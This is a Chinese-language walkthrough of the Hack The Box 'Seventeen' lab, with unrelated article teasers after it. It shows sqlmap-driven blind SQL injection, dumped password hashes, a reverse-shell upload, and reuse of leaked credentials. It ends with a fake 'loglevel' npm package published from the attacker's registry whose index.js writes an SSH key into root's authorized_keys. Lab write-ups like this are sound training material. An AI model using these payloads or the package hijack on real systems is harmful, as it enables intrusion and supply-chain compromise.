【Hack The Box】Linux练习-- Seventeen

news2025/1/13 15:56:12

HTB 学习笔记

【Hack The Box】Linux练习-- Seventeen


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月7日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
        • 目录爆破
    • 8000
        • 目录爆破
    • 域名爆破
    • exam.seventeen.htb
        • 对这个域名目录爆破
        • 已知cms利用
    • sql注入
    • sqlmap利用
        • 新的域名
    • 文件上传
        • www->matt
    • kavi
    • npm模块挟持
        • 创建恶意npm

在这里插入图片描述

信息收集

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
|   256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_  256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Let's begin your education with us! 
8000/tcp open  http    Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.3; OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

在左上角它说 seventeen.htb. 我会把它添加到我的 /etc/hosts文件,但该站点似乎是通过 IP 或域名访问的。

响应标头

HTTP/1.1 200 OK
Date: Sat, 26 Nov 2022 02:15:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Sun, 10 Apr 2022 05:31:57 GMT
ETag: "50d1-5dc46256b75a0-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 20689
Connection: close
Content-Type: text/html

目录爆破

feroxbuster -u http://seventeen.htb

没有信息

8000

403响应
在这里插入图片描述

目录爆破

 feroxbuster -u http://seventeen.htb:8000 

啥也没有

域名爆破

wfuzz -u http://seventeen.htb -H "Host: FUZZ.seventeen.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hh 20689

得到exam

添加进hosts

exam.seventeen.htb

在这里插入图片描述右上角登陆不可用
在这里插入图片描述页面标头正常,搜索框无效,页面没有有效信息,开始进行目录爆破

对这个域名目录爆破

feroxbuster -u http://exam.seventeen.htb

依旧没有结果

已知cms利用

searchsploit exam management system
当查看这些是否匹配时,我会将 URL 结构与来自exp的 URL 进行比较 feroxbuster以上。 前两点指向 /pages/save_user.php.

在这里插入图片描述在这里插入图片描述
这个路径目录爆破没有爆破出来,说明也不是302,估计就是404根本不存在,直接访问也访问不到

后面两个目标 /erms/classes/Users.php和 /erms/?p=take_exam&id=1. 这些看起来像我已经看过的网址(没有 /erms).
50726 是经过身份验证的 RCE。 由于我没有信用,我会考虑下一个。

50725 是一个基于布尔值的 SQL 盲注。

sql注入

在这里插入图片描述
给的比较清楚

http://exam.seventeen.htb/?p=take_exam&id=1%27%20AND%204755=4755%20AND%20%27VHNu%27=%27VHNu

在这里插入图片描述

sqlmap利用

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch

我会给 sqlmap网址,以及 --technique B(对于基于布尔值的)和 -p id告诉它要处理哪个参数。

我将列出数据库 --dbs(我还要补充 --batch选择任何提示的默认答案,并且线程是安全的,因为它是布尔值,而不是基于时间的):

sqlmap --dbs -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10

列出表

sqlmap -D erms_db --tables -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10

列数据

sqlmap -D erms_db -T users --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| id | type | avatar                            | lastname | password                         | username         | firstname    | date_added          | last_login | date_updated        |
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| 1  | 1    | ../oldmanagement/files/avatar.png | Admin    | fc8ec7b43523e186a27f46957818391c | admin            | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2022-02-24 22:00:15 |
| 6  | 2    | ../oldmanagement/files/avatar.png | Anthony  | 48bb86d036bb993dfdcf7fefdc60cc06 | UndetectableMark | Mark         | 2021-09-30 16:34:02 | NULL       | 2022-05-10 08:21:39 |
| 7  | 2    | ../oldmanagement/files/avatar.png | Smith    | 184fe92824bea12486ae9a56050228ee | Stev1992         | Steven       | 2022-02-22 21:05:07 | NULL       | 2022-02-24 22:00:24 |
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+

有路径有用户名hash
但是无法爆破其中任何一个
用户头像的路径。 他们每个人都以 …/oldmanagement/files/.

新的域名

目前我无法将几个数据库与应用程序相关联。 考虑到网络服务器通常是如何设置的,不同的主机每个都有一个文件夹 /var/www/. 所以如果 ERMS 用完了类似 /var/www/emrs, 然后被链接回 /var/www/oldmanagement,这表明它可能是不同的虚拟主机。 值得一试 - 添加 oldmanagement.seventeen.htb至 /etc/hosts在 Firefox 中访问会加载一个新的登录表单:

是一个登录,但是我目前没有任何的凭据

我将继续枚举一些信息

sqlmap -D db_sfms --tables -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10

最终在这里找到了新的一些用户,是一些学生,也正符合页面学生登陆的特征

sqlmap -D db_sfms -T student --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| stud_id | yr | gender | stud_no | lastname | password                                           | firstname |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| 1       | 1A | Male   | 12345   | Smith    | 1a40620f9a4ed6cb8d81a1d365559233                   | John      |
| 2       | 2B | Male   | 23347   | Mille    | abb635c915b0cc296e071e8d76e9060c                   | James     |
| 3       | 2C | Female | 31234   | Shane    | a2afa567b1efdb42d8966353337d9024 (autodestruction) | Kelly     |
| 4       | 3C | Female | 43347   | Hales    | a1428092eb55781de5eb4fd5e2ceb835                   | Jamie     |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+

爆破出来的凭据如下

31234/autodestruction

在这里插入图片描述
登陆成功

whatweb http://oldmanagement.seventeen.htb:8000/oldmanagement/student_profile.php

在这里插入图片描述得知cms
School File Management System

在这里插入图片描述
存在一些exp,但我不知道版本,我会继续枚举一下
在这里插入图片描述
在这里插入图片描述
找到一个域名

https://mastermailer.seventeen.htb

但是https不能访问,http可以,会重定向到8000端口,然后跳转到mastermailer

在这里插入图片描述
我将先检测重定向绕过
在这里插入图片描述
不存在重定向绕过,那就看看这个东西登陆是个怎么事
弱口令,sql有没有
在这里插入图片描述
这里用到了imap,并且常见的几种sql注入都不行,弱口令也没有
之前掌握的凭据也没用

在这里插入图片描述发现这也是个cms
发现应该是是叫roundcube

在这里插入图片描述

简单扫了一下目录,存在版本更新信息,访问看一下,确定版本是1.4.2
/CHANGELOG

但是版本漏洞没有啊
去谷歌搜一啊
在这里插入图片描述一个高危都没有

文件上传

那我再次回到刚才的学生页面,因为那里有一个文件上传
我将尝试上传php
在这里插入图片描述

我试图通过抓包找到文件的上传路径,但我失败了,所以我选择目录爆破

gobuster dir -u http://oldmanagement.seventeen.htb:8000/oldmanagement/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40

在这里插入图片描述但是接着就爆破不出来任何东西了
在这里插入图片描述没办法,我用尽了所有办法,我都找不到上传路径,只能走最后一步了,下载源码分析

https://www.sourcecodester.com/sites/default/files/download/razormist/school-file-management-system.zip

看下载的就行,他会给我们完整的路径

<?php
    require_once 'admin/conn.php';
    if(ISSET($_REQUEST['store_id'])){
        $store_id = $_REQUEST['store_id'];

        $query = mysqli_query($conn, "SELECT * FROM `storage` WHERE `store_id` = '$store_id'") or die(mysqli_error());
        $fetch  = mysqli_fetch_array($query);
        $filename = $fetch['filename'];
        $stud_no = $fetch['stud_no'];
        header("Content-Disposition: attachment; filename=".$filename);
        header("Content-Type: application/octet-stream;");
        readfile("files/".$stud_no."/".$filename);
    }
?>

但是我们直接访问

/files/31234/shell.php

是403的

最后我使用的方法如下
上传一个 PHP 反向 shell,但在发送请求之前,用 Burp 拦截它并将 stud_no 更改为其他学号——否则你将无法执行 PHP 脚本

该文件被上传到:

http://seventeen.htb:8000/oldmanagement/files/<stud_no>/shell.php

www->matt

在这里插入图片描述

还有 2 个其他用户, kavi 和 mark 。
找到的有价值文件
/var/www/html/employeemanagementsystem/process/dbh.php

$dBUsername = "root";
$dbPassword = "2020bestyearofmylife";

这个密码尝试重用,最终在root, kavi 和 mark 中,命中了Mark
我们可以ssh登陆他

在这里插入图片描述
我会注意到一个 .npm目录。 NPM 是节点包管理器。 安装了一些模块,还有一个 127.0.0.1_4873目录:
在这里插入图片描述

在/var/mail发现一个哟件
在这里插入图片描述

提到了一个新项目、一个私人注册表(有一些问题)和一个旧记录器被替换为 loglevel(一个公开可用的 JavaScript 日志应用程序 )。

查看端口,得到结论如下

Roundcube 的邮件服务器 - 110、143、993、995
用于各种网络服务器的 MySQL - 3306
域名系统 - 53
网站转发到 Docker - 8081(exams),8082(oldmanager)
未知 - 4873,但在 .npm上面的文件夹。
curl http://127.0.0.1:4873

在这里插入图片描述
正文由 JavaScript 加载,但我确实看到了“Verdaccio”。 Verdaccio 是一个私有的 JavaScript 仓库。

如果我添加一个 SSH 隧道以提供从我的主机访问 4873,我可以在 Firefox 中加载它:

该电子邮件提到了“旧记录器”,并谈到使用“我们的注册表”。 我将尝试搜索本地注册表中的日志记录模块:

npm search log --registry http://127.0.0.1:4873

在这里插入图片描述就这一个注册表日志模块

npm install db-logger --registry http://127.0.0.1:4873

拉到本地
在这里插入图片描述
换个目录,去/tmp,这个目录不可写
在这里插入图片描述
在这里插入图片描述看到获得了我们要获得的日志文件
这个是个目录,进去看看,然后得到信息如下

user: "root",
password: "IhateMathematics123#",
_nodeVersion": "8.10.0",

Log data to a database",
http://127.0.0.1:4873/db-logger/-/db-logger-1.0.1.tgz

mysql": "2.18.1

npmVersion": "3.5.2

kavi

ssh kavi@10.129.227.143

在这里插入图片描述

#!/bin/bash
cd /opt/app
deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do
    /bin/echo "[=] Checking for $dep"
    o=$(/usr/bin/npm -l ls|/bin/grep $dep)
    if [[ "$o" != *"$dep"* ]]; then
        /bin/echo "[+] Installing $dep"
        /usr/bin/npm install $dep --silent
        /bin/chown root:root node_modules -R
    else
        /bin/echo "[+] $dep already installed"
    fi
done
/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js

进到cd /opt/app

循环遍历两个依赖项中的每一个

deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do

检查每个依赖项是否已安装

/bin/echo "[=] Checking for $dep"
    o=$(/usr/bin/npm -l ls|/bin/grep $dep)

如果没有,则安装它们。 然后它启动 Node 应用程序:

if [[ "$o" != *"$dep"* ]]; then
        /bin/echo "[+] Installing $dep"

按照下面的命令,会用root来chown下载的模块

  /usr/bin/npm install $dep --silent
 /bin/chown root:root node_modules -R

然后启动js文件

/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js

npm模块挟持

首先我们运行sh文件,发现调用的只有loglevel,所以我们只挟持这个包就行
在这里插入图片描述
我将仔细的描述这个原理

在这里插入图片描述首先我们要去用户的home下确定一下registyr的目录
而后更改他,因为我要恶意挟持他,所以我们将他改为我们的主机
在这里插入图片描述而后我们要在本地建立一个loglevel,而后进去做一些恶意的npm

mkdir loglevel
cd loglevel

创建恶意npm

我将完整的步骤放在这里,而后一步步执行
例子中被调用的包是loglevel
所涉及的镜像是verdaccio(来自于npm管理页面)

1.创建一个目录
mkdir loglevel
cd loglevel
2. 拉取镜像
proxychains4 -f /etc/proxychains4.conf sudo docker run -it --rm  -p 4873:4873 verdaccio/verdaccio
3. 添加用户
npm adduser --registry http://10.10.14.6:4873
4. 创建
npm init(需要更高版本,例如1.8.0改为2.0.05. 再写index.js
=================================================
const cp = require("child_process")
cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali' > /root/.ssh/authorized_keys");
function log(msg) {
    console.log(msg);
}
function debug(msg) {
    console.log(msg);
}
function warn(msg) {
    console.log(msg);
}
module.exports.log = log;
=================================================
6. 发布
npm publish --registry http://10.10.14.29:4873
7. 修改指向
修改.npmrc 文件到我们的本地服务开启端口
8. 执行(关于高权限调用npm包的脚本等)
sudo /opt/app/startup.sh
proxychains4 -f /etc/proxychains4.conf sudo docker run -it --rm  -p 4873:4873 verdaccio/verdaccio

首先docker启动对应的网站服务器
–rm是利用完就删除 -p这个最好跟目标端口一致
verdaccio/verdaccio
是镜像名字

在这里插入图片描述而后创建用户

npm adduser --registry http://10.10.14.6:4873

在这里插入图片描述

npm init

我唯一不能使用默认值的是名称,我将命名为 loglevel,因为我希望它在 靶场 上被服务器包含和调用,并且我将升级版本,使其超出 实际模块 的当前版本,目前为 1.8.0。 上面的过程创建了一个 package.json当前目录下的文件。

在这里插入图片描述
在这里插入图片描述
而后我将创建一个index.js
里面包装好你的命令
我会选择这个,因为它能直接写一个密钥,比较方便

const cp = require("child_process")

cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali' > /root/.ssh/authorized_keys");

function log(msg) {
    console.log(msg);
}

function debug(msg) {
    console.log(msg);
}

function warn(msg) {
    console.log(msg);
}

module.exports.log = log;

之所以创建index.js是因为创建的init主函数就是index.js
在这里插入图片描述
在这里插入图片描述
这就是我们最终得到的结构

而后

npm publish --registry http://10.10.14.29:4873

发布他
在这里插入图片描述

而后在此确保正确的指向
修改.npmrc 即可在这里插入图片描述因为他应该是存在一个计划任务,定期恢复

所以我们的动作也要快一点

sudo /opt/app/startup.sh

在这里插入图片描述我们成功了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/45238.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot结合Liquibase实现数据库变更管理

《从零打造项目》系列文章 工具 比MyBatis Generator更强大的代码生成器 ORM框架选型 SpringBoot项目基础设施搭建 SpringBoot集成Mybatis项目实操 SpringBoot集成MybatisPlus项目实操 SpringBoot集成Spring Data JPA项目实操 数据库变更管理 数据库变更管理&#xff1a;Li…

[附源码]Python计算机毕业设计Django的党务管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

行为型模式-命令模式

package per.mjn.pattern.command;import java.util.HashMap; import java.util.Map;// 订单类 public class Order {// 餐桌号码private int diningTable;// 点的餐品和份数private Map<String, Integer> foodDir new HashMap<>();public int getDiningTable() {…

[附源码]计算机毕业设计springboot高校车辆管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

家居建材企业竞争白热化,如何通过供应商协同系统转型升级,提高核心竞争力

伴随房地产高景气时代逐渐退去&#xff0c;新房销售红利期或已接近尾声&#xff0c;家居建材需求正迈入平稳发展新阶段&#xff0c;企业之间竞争更加白热化。在面对数字化时代的快速发展&#xff0c;很多家居建材企业已达成这样的共识&#xff1a;数字化是企业未来发展的必由之…

人工智能岗位可以考什么证书?考试难不难?

最近几年人工智能在市场上的热度越来越大&#xff0c;很多企业都会利用这个项目来发展自己新渠道&#xff0c;那么想进入这一行的人需要怎么提升自己的技能呢&#xff1f;那就是考取人工智能相关的证书&#xff0c;目前阿里云人工智能是国内市场最热门的认证分为两个等级&#…

(2)点云库PCL学习——剔除点云值

1、主要参考 (1) 点云离群点剔除 — open3d python_Coding的叶子的博客-CSDN博客_离群点去除 (2) open3d之点云异常值去除&#xff08;笔记5&#xff09;_Satellite_H的博客-CSDN博客 2、剔除的方法 2.1无效值剔除 详见我的上一篇blob &#xff08;1&#xff09;点云库…

C语言—指针进阶(详解篇)

目录 1.字符指针 1.1字符指针定义 1.2 字符指针用法 2.指针数组 2.1 指针数组定义及使用 3.数组指针 3.1 数组指针定义 3.2 &数组名和数组名 3.3 数组指针的基本用法 4. 数组参数、指针参数 5. 函数指针 5.1 函数指针定义既基本使用 5.2 有趣的代码 6. 函…

BMS 信息资源e分享平台

今天分享的是一款关于医学的企业内部实战系统。当时某药企内部面临现状是医学人力资源有限、信息量需求大、信息资源传递途径受限&#xff0c;覆盖范围小。为解决目前面临的问题&#xff0c;提高信息资源的统一性、准确性和安全性&#xff0c;优化资源获取流程&#xff0c;提高…

[vite.js]按需加载自动注册组件

最近(后知后觉)发现各大ui组件库的按需引入&#xff0c;在使用vite构建项目的时候&#xff0c;都推荐使用unplugin-vue-components插件自动解析ui组件来自动注册&#xff1b;就是说不需要再import { ... } from ..了&#xff0c;该插件会自动帮助解析并注册成组件。其实之前用n…

数字文档管理不能落后的 5 个原因

数字文档管理不能落后的 5 个原因 信息管理对于几乎每个行业的组织都至关重要。从财富 500 强企业到医疗机构&#xff0c;您处理文件的地点和方式都很重要。如果您坚持基于纸张的流程&#xff0c;那么您可能会落后于其他企业而且冒着很大的风险。 在许多组织中&#xff0c;数字…

Linux的Jdk安装教程

liunx下Jdk安装教程 1.创建jdk的安装目录&#xff08;/usr/local/src&#xff09; 确保安装的目录是空的&#xff0c;如果不是空的&#xff0c;删除一下&#xff0c;或者放在自己其他的目录也可以 mkdir -p /usr/local/src/jdk这里可能会出现之前安装过jdk&#xff0c;可以用下…

用HTML+CSS做一个漂亮简单的轻量级图片相册博客网站(web前端期末大作业)

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…

web表单(详解)

目录 1. 表单的概述 1.1 表单组成 2. 表单标记 2.1 input标记 2.2 select标记 2.3 textarea标记 3.HTML5新增标记 3.1 datalist标记 3.2 date 输入类型 3.3 color输入类型 3.4 button标记 3.5 details标记和summary标记 3.6 progress标记 3.7 meter标记 4 综合…

【pen200-lab】10.11.1.5

pen200-lab 学习笔记 【pen200-lab】10.11.1.5 &#x1f525;系列专栏&#xff1a;pen200-lab &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年11月29日&#x1f334; &#x1f36d;作者…

阿里资深架构师谈 Java 进阶攻略:7 大技能 +12 份进阶笔记 + 面试 150 题

以下都是阿里大牛推荐的主流技术&#xff0c;当你全部掌握上述的这些技术那么你就已经是 P8 级别&#xff0c;而且你也已经形成了自己的体系&#xff0c;当更加新潮的技术出来时那么你自己稍微花点时间就能吃透&#xff0c;毕竟那时候你已经不是以前的那个你了&#xff0c; 懂底…

竞赛——【蓝桥杯】2022年12月第十四届蓝桥杯模拟赛第二期C/C++

1、最小的2022 问题描述 请找到一个大于 2022 的最小数&#xff0c;这个数转换成二进制之后&#xff0c;最低的 6 个二进制为全为 0 。 请将这个数的十进制形式作为答案提交。 答案提交 这是一道结果填空的题&#xff0c;你只需要算出结果后提交即可。本题的结果为一个整数…

分享 2022 年最受欢迎的黑科技工具(二)

Hello, everybody &#xff0c;2022 年最受欢迎的黑科技工具&#xff08;二&#xff09;&#xff0c;收藏一波吧&#xff0c;您的在看、转发、点赞就是对tuonioooo最大的支持&#xff01; 1.Sampler 项目地址&#xff1a;https://github.com/sqshq/sampler 官网地址&#xf…

Fmoc-PEG4-NHS酯,1314378-14-7 含有Fmoc保护胺和NHS酯

●英文&#xff1a;Fmoc-PEG4-NHS酯 ●外观以及性质&#xff1a;粘性液体或固体粉末&#xff0c;一般取决于分子量&#xff0c;是一种含有Fmoc保护胺和NHS酯的PEG连接剂。亲水性PEG间隔物增加了在水介质中的溶解度。Fmoc基团可在碱性条件下脱保护以获得游离胺&#xff0c;其可…

springboot+java+vue大学生求职招聘就业岗位匹配推荐系统

目 使用人职匹配推荐系统分为管理员和用户、企业三个权限子模块。 管理员所能使用的功能主要有&#xff1a;首页、个人中心、用户管理、企业管理、岗位信息管理、岗位类型管理、应聘信息管理、应聘状况管理、平台费用管理、系统管理等。 用户可以实现&#xff1b;首页、个人中…